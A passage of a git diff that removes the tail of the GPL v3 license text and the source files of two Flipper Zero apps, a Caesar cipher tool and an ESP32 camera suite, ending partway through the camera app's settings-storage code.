their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/caesarcipher/application.fam b/applications/external/caesarcipher/application.fam deleted file mode 100644 index 985487986..000000000 --- a/applications/external/caesarcipher/application.fam +++ /dev/null @@ -1,17 +0,0 @@ -App( - appid="caesar_cipher", - name="Caesar Cipher", - apptype=FlipperAppType.EXTERNAL, - entry_point="caesar_cipher_app", - cdefines=["APP_CAESAR_CIPHER"], - requires=[ - "gui", - ], - stack_size=2 * 1024, - fap_icon="caesar_cipher_icon.png", - fap_category="Tools", - fap_author="@panki27", - fap_weburl="https://github.com/panki27/caesar-cipher", - fap_version="1.0", - fap_description="Encrypt and decrypt text using Caesar Cipher", -) diff --git a/applications/external/caesarcipher/caesar_cipher.c b/applications/external/caesarcipher/caesar_cipher.c deleted file mode 100644 index d5c4b2b65..000000000 --- a/applications/external/caesarcipher/caesar_cipher.c +++ /dev/null @@ -1,152 +0,0 @@ -#include -#include -#include - -#include -#include -#include -#include -#include - -#define TEXT_BUFFER_SIZE 256 - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; - -typedef struct { - FuriMutex* mutex; - ViewDispatcher* view_dispatcher; - TextInput* text_input; - TextBox* text_box; - char input[TEXT_BUFFER_SIZE]; - char output[(TEXT_BUFFER_SIZE * 26) + (26)]; // linebreaks -} CaesarState; - -static void string_to_uppercase(char* input) { - int i; - for(i = 0; input[i] != '\0'; i++) { - if(input[i] >= 'a' && input[i] <= 'z') { - input[i] = input[i] - 32; - } else { - input[i] = input[i]; - } - } -} - -static void build_output(char* input, char* output) { - int out = 0; - for(int rot = 1; rot < 26; rot++) { - int in; - for(in = 0; input[in] != '\0'; in++) { - if(input[in] >= 'A' && input[in] <= 'Z') { - output[out] = 65 + (((input[in] - 65) + rot) % 26); - } else { - output[out] = input[in]; - } - out++; - } - output[out] = '\n'; - out++; - } - output[out] = '\0'; -} - -static void text_input_callback(void* ctx) { - furi_assert(ctx); - CaesarState* caesar_state = ctx; - furi_mutex_acquire(caesar_state->mutex, FuriWaitForever); - - FURI_LOG_D("caesar_cipher", "Input text: %s", caesar_state->input); - // this is where we build the output. - string_to_uppercase(caesar_state->input); - FURI_LOG_D("caesar_cipher", "Upper text: %s", caesar_state->input); - build_output(caesar_state->input, caesar_state->output); - text_box_set_text(caesar_state->text_box, caesar_state->output); - view_dispatcher_switch_to_view(caesar_state->view_dispatcher, 1); - - furi_mutex_release(caesar_state->mutex); -} - -static bool back_event_callback(void* ctx) { - const CaesarState* caesar_state = ctx; - furi_mutex_acquire(caesar_state->mutex, FuriWaitForever); - view_dispatcher_stop(caesar_state->view_dispatcher); - furi_mutex_release(caesar_state->mutex); - return true; -} - -static void caesar_cipher_state_init(CaesarState* const caesar_state) { - caesar_state->view_dispatcher = view_dispatcher_alloc(); - caesar_state->text_input = text_input_alloc(); - caesar_state->text_box = text_box_alloc(); - text_box_set_font(caesar_state->text_box, TextBoxFontText); -} - -static void caesar_cipher_state_free(CaesarState* const caesar_state) { - text_input_free(caesar_state->text_input); - text_box_free(caesar_state->text_box); - view_dispatcher_remove_view(caesar_state->view_dispatcher, 0); - view_dispatcher_remove_view(caesar_state->view_dispatcher, 1); - view_dispatcher_free(caesar_state->view_dispatcher); - free(caesar_state); -} - -int32_t caesar_cipher_app() { - CaesarState* caesar_state = malloc(sizeof(CaesarState)); - - FURI_LOG_D("caesar_cipher", "Running caesar_cipher_state_init"); - caesar_cipher_state_init(caesar_state); - - caesar_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!caesar_state->mutex) { - FURI_LOG_E("caesar_cipher", "cannot create mutex\r\n"); - free(caesar_state); - return 255; - } - - FURI_LOG_D("caesar_cipher", "Assigning text input callback"); - text_input_set_result_callback( - caesar_state->text_input, - text_input_callback, - caesar_state, - caesar_state->input, - TEXT_BUFFER_SIZE, - //clear default text - true); - text_input_set_header_text(caesar_state->text_input, "Input"); - - // Open GUI and register view_port - Gui* gui = furi_record_open("gui"); - //gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - FURI_LOG_D("caesar_cipher", "Enabling view dispatcher queue"); - view_dispatcher_enable_queue(caesar_state->view_dispatcher); - - FURI_LOG_D("caesar_cipher", "Adding text input view to dispatcher"); - view_dispatcher_add_view( - caesar_state->view_dispatcher, 0, text_input_get_view(caesar_state->text_input)); - view_dispatcher_add_view( - caesar_state->view_dispatcher, 1, text_box_get_view(caesar_state->text_box)); - FURI_LOG_D("caesar_cipher", "Attaching view dispatcher to GUI"); - view_dispatcher_attach_to_gui( - caesar_state->view_dispatcher, gui, ViewDispatcherTypeFullscreen); - FURI_LOG_D("ceasar_cipher", "starting view dispatcher"); - view_dispatcher_set_navigation_event_callback( - caesar_state->view_dispatcher, back_event_callback); - view_dispatcher_set_event_callback_context(caesar_state->view_dispatcher, caesar_state); - view_dispatcher_switch_to_view(caesar_state->view_dispatcher, 0); - view_dispatcher_run(caesar_state->view_dispatcher); - - furi_record_close("gui"); - furi_mutex_free(caesar_state->mutex); - caesar_cipher_state_free(caesar_state); - - return 0; -} diff --git a/applications/external/caesarcipher/caesar_cipher_icon.png b/applications/external/caesarcipher/caesar_cipher_icon.png deleted file mode 100644 index 13077e892..000000000 Binary files a/applications/external/caesarcipher/caesar_cipher_icon.png and /dev/null differ diff --git a/applications/external/camera_suite/application.fam b/applications/external/camera_suite/application.fam deleted file mode 100644 index 1c9f0cc6f..000000000 --- a/applications/external/camera_suite/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="camera_suite", - apptype=FlipperAppType.EXTERNAL, - cdefines=["APP_CAMERA_SUITE"], - entry_point="camera_suite_app", - fap_author="@CodyTolene @Z4urce @leedave", - fap_category="GPIO", - fap_description="A camera suite application for the Flipper Zero ESP32-CAM module.", - fap_icon="icons/camera_suite.png", - fap_weburl="https://github.com/CodyTolene/Flipper-Zero-Cam", - name="[ESP32] Camera Suite", - requires=["gui", "storage"], - stack_size=8 * 1024, -) diff --git a/applications/external/camera_suite/camera_suite.c b/applications/external/camera_suite/camera_suite.c deleted file mode 100644 index cbe7e3d62..000000000 --- a/applications/external/camera_suite/camera_suite.c +++ /dev/null @@ -1,132 +0,0 @@ -#include "camera_suite.h" -#include - -bool camera_suite_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - CameraSuite* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -void camera_suite_tick_event_callback(void* context) { - furi_assert(context); - CameraSuite* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -// Leave app if back button pressed. -bool camera_suite_navigation_event_callback(void* context) { - furi_assert(context); - CameraSuite* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -CameraSuite* camera_suite_app_alloc() { - CameraSuite* app = malloc(sizeof(CameraSuite)); - app->gui = furi_record_open(RECORD_GUI); - app->notification = furi_record_open(RECORD_NOTIFICATION); - - // Turn backlight on. - notification_message(app->notification, &sequence_display_backlight_on); - - // Scene additions - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - - app->scene_manager = scene_manager_alloc(&camera_suite_scene_handlers, app); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, camera_suite_navigation_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, camera_suite_tick_event_callback, 100); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, camera_suite_custom_event_callback); - app->submenu = submenu_alloc(); - - // Set defaults, in case no config loaded - app->orientation = 0; // Orientation is "portrait", zero degrees by default. - app->haptic = 1; // Haptic is on by default - app->speaker = 1; // Speaker is on by default - app->led = 1; // LED is on by default - - // Load configs - camera_suite_read_settings(app); - - view_dispatcher_add_view( - app->view_dispatcher, CameraSuiteViewIdMenu, submenu_get_view(app->submenu)); - - app->camera_suite_view_start = camera_suite_view_start_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - CameraSuiteViewIdStartscreen, - camera_suite_view_start_get_view(app->camera_suite_view_start)); - - app->camera_suite_view_camera = camera_suite_view_camera_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - CameraSuiteViewIdCamera, - camera_suite_view_camera_get_view(app->camera_suite_view_camera)); - - app->camera_suite_view_guide = camera_suite_view_guide_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - CameraSuiteViewIdGuide, - camera_suite_view_guide_get_view(app->camera_suite_view_guide)); - - app->button_menu = button_menu_alloc(); - - app->variable_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - CameraSuiteViewIdSettings, - variable_item_list_get_view(app->variable_item_list)); - - //End Scene Additions - - return app; -} - -void camera_suite_app_free(CameraSuite* app) { - furi_assert(app); - - // Scene manager - scene_manager_free(app->scene_manager); - - // View Dispatcher - view_dispatcher_remove_view(app->view_dispatcher, CameraSuiteViewIdStartscreen); - view_dispatcher_remove_view(app->view_dispatcher, CameraSuiteViewIdMenu); - view_dispatcher_remove_view(app->view_dispatcher, CameraSuiteViewIdCamera); - view_dispatcher_remove_view(app->view_dispatcher, CameraSuiteViewIdGuide); - view_dispatcher_remove_view(app->view_dispatcher, CameraSuiteViewIdSettings); - submenu_free(app->submenu); - - view_dispatcher_free(app->view_dispatcher); - furi_record_close(RECORD_GUI); - - // Free remaining resources - camera_suite_view_start_free(app->camera_suite_view_start); - camera_suite_view_camera_free(app->camera_suite_view_camera); - camera_suite_view_guide_free(app->camera_suite_view_guide); - button_menu_free(app->button_menu); - variable_item_list_free(app->variable_item_list); - - app->gui = NULL; - app->notification = NULL; - - //Remove whatever is left - free(app); -} - -/** Main entry point for initialization. */ -int32_t camera_suite_app(void* p) { - UNUSED(p); - CameraSuite* app = camera_suite_app_alloc(); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - // Init with start scene. - scene_manager_next_scene(app->scene_manager, CameraSuiteSceneStart); - furi_hal_power_suppress_charge_enter(); - view_dispatcher_run(app->view_dispatcher); - camera_suite_save_settings(app); - furi_hal_power_suppress_charge_exit(); - camera_suite_app_free(app); - return 0; -} diff --git a/applications/external/camera_suite/camera_suite.h b/applications/external/camera_suite/camera_suite.h deleted file mode 100644 index a8b9825be..000000000 --- a/applications/external/camera_suite/camera_suite.h +++ /dev/null @@ -1,67 +0,0 @@ -#pragma once - -#include "helpers/camera_suite_storage.h" -#include "scenes/camera_suite_scene.h" -#include "views/camera_suite_view_guide.h" -#include "views/camera_suite_view_start.h" -#include "views/camera_suite_view_camera.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define TAG "Camera Suite" - -typedef struct { - Gui* gui; - NotificationApp* notification; - ViewDispatcher* view_dispatcher; - Submenu* submenu; - SceneManager* scene_manager; - VariableItemList* variable_item_list; - CameraSuiteViewStart* camera_suite_view_start; - CameraSuiteViewCamera* camera_suite_view_camera; - CameraSuiteViewGuide* camera_suite_view_guide; - uint32_t orientation; - uint32_t haptic; - uint32_t speaker; - uint32_t led; - ButtonMenu* button_menu; -} CameraSuite; - -typedef enum { - CameraSuiteViewIdStartscreen, - CameraSuiteViewIdMenu, - CameraSuiteViewIdCamera, - CameraSuiteViewIdGuide, - CameraSuiteViewIdSettings, -} CameraSuiteViewId; - -typedef enum { - CameraSuiteOrientation0, - CameraSuiteOrientation90, - CameraSuiteOrientation180, - CameraSuiteOrientation270, -} CameraSuiteOrientationState; - -typedef enum { - CameraSuiteHapticOff, - CameraSuiteHapticOn, -} CameraSuiteHapticState; - -typedef enum { - CameraSuiteSpeakerOff, - CameraSuiteSpeakerOn, -} CameraSuiteSpeakerState; - -typedef enum { - CameraSuiteLedOff, - CameraSuiteLedOn, -} CameraSuiteLedState; diff --git a/applications/external/camera_suite/helpers/camera_suite_custom_event.h b/applications/external/camera_suite/helpers/camera_suite_custom_event.h deleted file mode 100644 index 4d472d577..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_custom_event.h +++ /dev/null @@ -1,67 +0,0 @@ -#pragma once - -typedef enum { - // Scene events: Start menu - CameraSuiteCustomEventStartUp, - CameraSuiteCustomEventStartDown, - CameraSuiteCustomEventStartLeft, - CameraSuiteCustomEventStartRight, - CameraSuiteCustomEventStartOk, - CameraSuiteCustomEventStartBack, - // Scene events: Camera - CameraSuiteCustomEventSceneCameraUp, - CameraSuiteCustomEventSceneCameraDown, - CameraSuiteCustomEventSceneCameraLeft, - CameraSuiteCustomEventSceneCameraRight, - CameraSuiteCustomEventSceneCameraOk, - CameraSuiteCustomEventSceneCameraBack, - // Scene events: Guide - CameraSuiteCustomEventSceneGuideUp, - CameraSuiteCustomEventSceneGuideDown, - CameraSuiteCustomEventSceneGuideLeft, - CameraSuiteCustomEventSceneGuideRight, - CameraSuiteCustomEventSceneGuideOk, - CameraSuiteCustomEventSceneGuideBack, -} CameraSuiteCustomEvent; - -enum CameraSuiteCustomEventType { - // Reserve first 100 events for button types and indexes, starting from 0. - CameraSuiteCustomEventMenuVoid, - CameraSuiteCustomEventMenuSelected, -}; - -#pragma pack(push, 1) - -typedef union { - uint32_t packed_value; - struct { - uint16_t type; - int16_t value; - } content; -} CameraSuiteCustomEventMenu; - -#pragma pack(pop) - -static inline uint32_t camera_suite_custom_menu_event_pack(uint16_t type, int16_t value) { - CameraSuiteCustomEventMenu event = {.content = {.type = type, .value = value}}; - return event.packed_value; -} - -static inline void - camera_suite_custom_menu_event_unpack(uint32_t packed_value, uint16_t* type, int16_t* value) { - CameraSuiteCustomEventMenu event = {.packed_value = packed_value}; - if(type) *type = event.content.type; - if(value) *value = event.content.value; -} - -static inline uint16_t camera_suite_custom_menu_event_get_type(uint32_t packed_value) { - uint16_t type; - camera_suite_custom_menu_event_unpack(packed_value, &type, NULL); - return type; -} - -static inline int16_t camera_suite_custom_menu_event_get_value(uint32_t packed_value) { - int16_t value; - camera_suite_custom_menu_event_unpack(packed_value, NULL, &value); - return value; -} diff --git a/applications/external/camera_suite/helpers/camera_suite_haptic.c b/applications/external/camera_suite/helpers/camera_suite_haptic.c deleted file mode 100644 index 237a96004..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_haptic.c +++ /dev/null @@ -1,35 +0,0 @@ -#include "camera_suite_haptic.h" -#include "../camera_suite.h" - -void camera_suite_play_happy_bump(void* context) { - CameraSuite* app = context; - if(app->haptic != 1) { - return; - } - notification_message(app->notification, &sequence_set_vibro_on); - furi_thread_flags_wait(0, FuriFlagWaitAny, 20); - notification_message(app->notification, &sequence_reset_vibro); -} - -void camera_suite_play_bad_bump(void* context) { - CameraSuite* app = context; - if(app->haptic != 1) { - return; - } - notification_message(app->notification, &sequence_set_vibro_on); - furi_thread_flags_wait(0, FuriFlagWaitAny, 100); - notification_message(app->notification, &sequence_reset_vibro); -} - -void camera_suite_play_long_bump(void* context) { - CameraSuite* app = context; - if(app->haptic != 1) { - return; - } - for(int i = 0; i < 4; i++) { - notification_message(app->notification, &sequence_set_vibro_on); - furi_thread_flags_wait(0, FuriFlagWaitAny, 50); - notification_message(app->notification, &sequence_reset_vibro); - furi_thread_flags_wait(0, FuriFlagWaitAny, 100); - } -} diff --git a/applications/external/camera_suite/helpers/camera_suite_haptic.h b/applications/external/camera_suite/helpers/camera_suite_haptic.h deleted file mode 100644 index 9b7651f97..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_haptic.h +++ /dev/null @@ -1,7 +0,0 @@ -#include - -void camera_suite_play_happy_bump(void* context); - -void camera_suite_play_bad_bump(void* context); - -void camera_suite_play_long_bump(void* context); diff --git a/applications/external/camera_suite/helpers/camera_suite_led.c b/applications/external/camera_suite/helpers/camera_suite_led.c deleted file mode 100644 index c4f1a85d7..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_led.c +++ /dev/null @@ -1,38 +0,0 @@ -#include "camera_suite_led.h" -#include "../camera_suite.h" - -void camera_suite_led_set_rgb(void* context, int red, int green, int blue) { - CameraSuite* app = context; - if(app->led != 1) { - return; - } - NotificationMessage notification_led_message_1; - notification_led_message_1.type = NotificationMessageTypeLedRed; - NotificationMessage notification_led_message_2; - notification_led_message_2.type = NotificationMessageTypeLedGreen; - NotificationMessage notification_led_message_3; - notification_led_message_3.type = NotificationMessageTypeLedBlue; - - notification_led_message_1.data.led.value = red; - notification_led_message_2.data.led.value = green; - notification_led_message_3.data.led.value = blue; - const NotificationSequence notification_sequence = { - ¬ification_led_message_1, - ¬ification_led_message_2, - ¬ification_led_message_3, - &message_do_not_reset, - NULL, - }; - notification_message(app->notification, ¬ification_sequence); - //Delay, prevent removal from RAM before LED value set. - furi_thread_flags_wait(0, FuriFlagWaitAny, 10); -} - -void camera_suite_led_reset(void* context) { - CameraSuite* app = context; - notification_message(app->notification, &sequence_reset_red); - notification_message(app->notification, &sequence_reset_green); - notification_message(app->notification, &sequence_reset_blue); - //Delay, prevent removal from RAM before LED value set. - furi_thread_flags_wait(0, FuriFlagWaitAny, 300); -} diff --git a/applications/external/camera_suite/helpers/camera_suite_led.h b/applications/external/camera_suite/helpers/camera_suite_led.h deleted file mode 100644 index 074947da1..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_led.h +++ /dev/null @@ -1,3 +0,0 @@ -void camera_suite_led_set_rgb(void* context, int red, int green, int blue); - -void camera_suite_led_reset(void* context); diff --git a/applications/external/camera_suite/helpers/camera_suite_speaker.c b/applications/external/camera_suite/helpers/camera_suite_speaker.c deleted file mode 100644 index c2a5a7dd0..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_speaker.c +++ /dev/null @@ -1,26 +0,0 @@ -#include "camera_suite_speaker.h" -#include "../camera_suite.h" - -#define NOTE_INPUT 587.33f - -void camera_suite_play_input_sound(void* context) { - CameraSuite* app = context; - if(app->speaker != 1) { - return; - } - float volume = 1.0f; - if(furi_hal_speaker_is_mine() || furi_hal_speaker_acquire(30)) { - furi_hal_speaker_start(NOTE_INPUT, volume); - } -} - -void camera_suite_stop_all_sound(void* context) { - CameraSuite* app = context; - if(app->speaker != 1) { - return; - } - if(furi_hal_speaker_is_mine()) { - furi_hal_speaker_stop(); - furi_hal_speaker_release(); - } -} diff --git a/applications/external/camera_suite/helpers/camera_suite_speaker.h b/applications/external/camera_suite/helpers/camera_suite_speaker.h deleted file mode 100644 index 2119bbec5..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_speaker.h +++ /dev/null @@ -1,5 +0,0 @@ -#define NOTE_INPUT 587.33f - -void camera_suite_play_input_sound(void* context); - -void camera_suite_stop_all_sound(void* context); diff --git a/applications/external/camera_suite/helpers/camera_suite_storage.c b/applications/external/camera_suite/helpers/camera_suite_storage.c deleted file mode 100644 index 38a5f0813..000000000 --- a/applications/external/camera_suite/helpers/camera_suite_storage.c +++ /dev/null @@ -1,113 +0,0 @@ -#include "camera_suite_storage.h" - -static Storage* camera_suite_open_storage() { - return furi_record_open(RECORD_STORAGE); -} - -static void camera_suite_close_storage() { - furi_record_close(RECORD_STORAGE); -} - -static void camera_suite_close_config_file(FlipperFormat* file) { - if(file == NULL) return; - flipper_format_file_close(file); - flipper_format_free(file); -} - -void camera_suite_save_settings(void* context) { - CameraSuite* app = context; - - FURI_LOG_D(TAG, "Saving Settings"); - Storage* storage = camera_suite_open_storage(); - FlipperFormat* 